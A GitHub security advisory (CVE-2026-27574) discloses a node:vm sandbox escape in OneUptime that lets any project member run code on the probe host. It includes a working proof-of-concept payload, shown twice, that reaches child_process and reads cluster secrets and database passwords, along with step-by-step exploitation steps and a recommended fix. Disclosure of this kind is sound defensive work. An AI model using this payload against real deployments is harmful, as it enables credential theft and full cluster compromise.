GHSA-V264-XQH4-9XMM
Vulnerability from github – Published: 2026-02-24 16:00 – Updated: 2026-02-24 16:00Summary
OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in vm module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.
Details
The vulnerable code is in Common/Server/Utils/VM/VMRunner.ts at line 55:
vm.runInContext(script, sandbox, { timeout })
The JavaScript that reaches this call comes straight from the monitor's customCode field, which is only validated as Zod.string().optional() in Common/Types/Monitor/MonitorStep.ts:531. No AST analysis, no keyword filtering, nothing — just a string that goes directly into vm.runInContext().
Both CustomCodeMonitor.ts and SyntheticMonitor.ts import VMRunner directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.
Two things make this especially bad:
First, the probe runs with network_mode: host (see docker-compose.base.yml:397) and carries ONEUPTIME_SECRET, DATABASE_PASSWORD, REDIS_PASSWORD, and CLICKHOUSE_PASSWORD as environment variables. Once you escape the sandbox you have all of those.
Second, the permission to create monitors is granted to Permission.ProjectMember — the lowest role — in Common/Models/DatabaseModels/Monitor.ts:46-51. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (disableSignup: false), any random person on the internet can reach this in about 30 seconds.
One more thing worth flagging: the IsolatedVM microservice is also affected despite its name. IsolatedVM/API/VM.ts:41 calls the exact same VMRunner.runCodeInSandbox() — it does NOT use the isolated-vm npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.
PoC
- Register at
/accounts/register— signup is open by default, no invite needed - Create a project — you get ProjectMember automatically
- Go to Monitors → Add Monitor → pick Custom JavaScript Code
- Paste this into the code field:
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
data: {
secret: proc.env.ONEUPTIME_SECRET,
db_pass: proc.env.DATABASE_PASSWORD,
redis_pass: proc.env.REDIS_PASSWORD,
id: run('id').toString().trim(),
hostname: run('hostname').toString().trim()
}
};
- Save the monitor and wait about 60 seconds for the probe to poll
- Open Monitor Logs — the result contains the cluster secret, database password, and the output of
idrunning on the probe host
That's it. No admin account, no special config, no extra steps.
Impact
This is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation → full cluster compromise.
The straightforward fix is to replace node:vm with the isolated-vm npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27574"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T16:00:56Z",
"nvd_published_at": "2026-02-21T11:15:57Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nOneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js\u0027s built-in `vm` module, which Node.js itself documents as \"not a security mechanism \u2014 do not use it to run untrusted code.\" The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.\n\n### Details\n\nThe vulnerable code is in `Common/Server/Utils/VM/VMRunner.ts` at line 55:\n\n```typescript\nvm.runInContext(script, sandbox, { timeout })\n```\n\nThe JavaScript that reaches this call comes straight from the monitor\u0027s `customCode` field, which is only validated as `Zod.string().optional()` in `Common/Types/Monitor/MonitorStep.ts:531`. No AST analysis, no keyword filtering, nothing \u2014 just a string that goes directly into `vm.runInContext()`.\n\nBoth `CustomCodeMonitor.ts` and `SyntheticMonitor.ts` import `VMRunner` directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe\u0027s own process \u2014 not a child process, not a container.\n\nTwo things make this especially bad:\n\nFirst, the probe runs with `network_mode: host` (see `docker-compose.base.yml:397`) and carries `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, `REDIS_PASSWORD`, and `CLICKHOUSE_PASSWORD` as environment variables. Once you escape the sandbox you have all of those.\n\nSecond, the permission to create monitors is granted to `Permission.ProjectMember` \u2014 the lowest role \u2014 in `Common/Models/DatabaseModels/Monitor.ts:46-51`. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (`disableSignup: false`), any random person on the internet can reach this in about 30 seconds.\n\nOne more thing worth flagging: the `IsolatedVM` microservice is also affected despite its name. `IsolatedVM/API/VM.ts:41` calls the exact same `VMRunner.runCodeInSandbox()` \u2014 it does NOT use the `isolated-vm` npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.\n\n### PoC\n\n1. Register at `/accounts/register` \u2014 signup is open by default, no invite needed\n2. Create a project \u2014 you get ProjectMember automatically\n3. Go to Monitors \u2192 Add Monitor \u2192 pick **Custom JavaScript Code**\n4. Paste this into the code field:\n\n```javascript\nconst proc = this.constructor.constructor(\u0027return process\u0027)();\nconst run = proc.mainModule.require(\u0027child_process\u0027).execSync;\nreturn {\n data: {\n secret: proc.env.ONEUPTIME_SECRET,\n db_pass: proc.env.DATABASE_PASSWORD,\n redis_pass: proc.env.REDIS_PASSWORD,\n id: run(\u0027id\u0027).toString().trim(),\n hostname: run(\u0027hostname\u0027).toString().trim()\n }\n};\n```\n\n5. Save the monitor and wait about 60 seconds for the probe to poll\n6. Open Monitor Logs \u2014 the result contains the cluster secret, database password, and the output of `id` running on the probe host\n\nThat\u0027s it. No admin account, no special config, no extra steps.\n\n### Impact\n\nThis is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation \u2192 full cluster compromise.\n\nThe straightforward fix is to replace `node:vm` with the `isolated-vm` npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.",
"id": "GHSA-v264-xqh4-9xmm",
"modified": "2026-02-24T16:00:56Z",
"published": "2026-02-24T16:00:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-v264-xqh4-9xmm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27574"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/commit/7f9ed4d43945574702a26b7c206e38cc344fe427"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OneUptime:: node:vm sandbox escape in probe allows any project member to achieve RCE"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.